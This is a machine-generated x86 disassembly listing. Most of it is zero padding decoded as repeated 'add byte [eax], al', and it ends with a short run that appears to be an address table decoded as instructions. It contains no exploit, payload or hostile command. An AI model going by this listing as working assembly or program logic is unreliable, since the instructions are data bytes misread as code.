add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
loopne 0x45aff0
add byte [eax], dl
inc eax
push 0
adc al, al
int1
add byte [eax], dl
mov al, 0xe3
add byte [eax], dl
and byte [ebx], bh
adc al, dh
in al, 0
adc byte [eax - 0x6f], ah
add byte [eax], dl
pushal
in eax, dx
add byte [eax], dl
adc ch, ch
add byte [eax], dl
nop
out dx, al
add byte [eax], dl
loopne 0x45b02b
add dword [eax], edx
mov al, 0xfc
add byte [eax], dl
shl dh, 1
add byte [eax], dl
xor bl, ah
add byte [eax], dl
push eax
movsd dword es:[edi], dword [esi]
adc byte [eax - 0x2fefff04], dh
out 0, al
adc byte [eax], dh
jecxz 0x45b037
adc byte [eax - 0x5b], dl
add byte [eax], dl
and byte [ebp - 0x5a7ff000], ah
add byte [eax], dl
pushal
wait
add byte [eax], dl
pushal
wait
add byte [eax], dl
pushal
wait
add byte [eax], dl
pushal
wait
add byte [eax], dl
pushal
wait
add byte [eax], dl
pushal
wait
add byte [eax], dl
pushal
wait
add byte [eax], dl
push eax
movsd dword es:[edi], dword [esi]
add byte [eax], dl
and byte [ebp - 0x5a7ff000], ah
add byte [eax], dl
mov al, 0
add dword [eax], edx
pushal
out 0, al
adc al, ah
inc byte [eax]
adc byte [eax - 0x1c], al
add byte [eax], dl
shr bl, 1
add byte [eax], dl
push eax
in al, dx
add byte [eax], dl
push eax
jmp 0x45b087
adc byte [eax - 0x65], ah
add byte [eax], dl
pushal
wait
add byte [eax], dl
pushal
wait
add byte [eax], dl
pushal
in eax, dx
add byte [eax], dl
adc ch, ch
add byte [eax], dl
nop
out dx, al
add byte [eax], dl
loopne 0x45b0a3
add dword [eax], edx
mov al, 0xfc
add byte [eax], dl
shl dh, 1
add byte [eax], dl
and cl, bh
adc byte [eax - 0x2fefff04], dh
out 0, al
adc byte [eax], ah
stc
add byte [eax], dl
shl ah, 1
add byte [eax], dl
inc eax
nop
add byte [eax], dl
pushal
in eax, dx
add byte [eax], dl
adc ch, ch
add byte [eax], dl
nop
out dx, al
add byte [eax], dl
loopne 0x45b0c7
add dword [eax], edx
mov al, 0xfc
add byte [eax], dl
shl dh, 1
add byte [eax], dl
loopne 0x45b0b4
adc byte [eax - 0x2fefff04], dh
out 0, al
adc al, ah
loop 0x45b0d3
add byte [eax], dl
and cl, bh
adc byte [eax], ah
stc
add byte [eax], dl
shl ah, 1
add byte [eax], dl
inc eax
nop
add byte [eax], dl
pushal
in eax, dx
add byte [eax], dl
adc ch, ch
add byte [eax], dl
nop
out dx, al
add byte [eax], dl
loopne 0x45b0ef
add dword [eax], edx
mov al, 0xfc
add byte [eax], dl
shl dh, 1
add byte [eax], dl
and bl, 0
adc byte [eax], dh
adc byte [eax - 0x2fefff04], dh
out 0, al
adc byte [eax + 0x301000e3], al
movsd dword es:[edi], dword [esi]
add byte [eax], dl
add byte [ebp - 0x5a9ff000], ah
add byte [eax], dl
rcr byte [eax], 1
adc byte [eax - 0x5b], al
add byte [eax], dl
adc byte [ebp - 0x5a8ff000], ah
add byte [eax], dl
add dl, dh
add byte [eax], dl
xor byte [ebp - 0x5afff000], ah
add byte [eax], dl
pushal
movsd dword es:[edi], dword [esi]
add byte [eax], dl
pushal
wait
add byte [eax], dl
inc eax
movsd dword es:[edi], dword [esi]
add byte [eax], dl
adc byte [ebp - 0x5a8ff000], ah
add byte [eax], dl
pushal
wait
add byte [eax], dl
mov al, 0x57
add byte [eax], dl
mov al, 0xe4
add byte [eax], dl
push eax
push edi
add byte [eax], dl
pushal
wait
add byte [eax], dl
pushal
wait
add byte [eax], dl
pushal
wait
add byte [eax], dl
pushal
wait
add byte [eax], dl
pushal
wait
add byte [eax], dl
pushal
wait
add byte [eax], dl
pushal
wait
add byte [eax], dl
pushal
wait
add byte [eax], dl
pushal
wait
add byte [eax], dl
pushal
wait
add byte [eax], dl
pushal
wait
add byte [eax], dl
pushal
wait
add byte [eax], dl
pushal
wait
add byte [eax], dl
pushal
wait
add byte [eax], dl
pushal
wait
add byte [eax], dl
pushal
wait
add byte [eax], dl
pushal
wait
add byte [eax], dl
mov al, 0xe2
add byte [eax], dl
mov al, 0x57
add byte [eax], dl
mov al, 0xe4
add byte [eax], dl
push eax
push edi
in al, 0
adc byte [eax + 0x57], dl
add byte [eax], dl
add byte [eax + eax + 0x10], ch
loopne 0x45b195
add byte [eax], dl
shr al, 0
adc byte [eax + 0x301000f4], dh
test byte [eax], 0x10
mov al, byte [0x401000f6]
hlt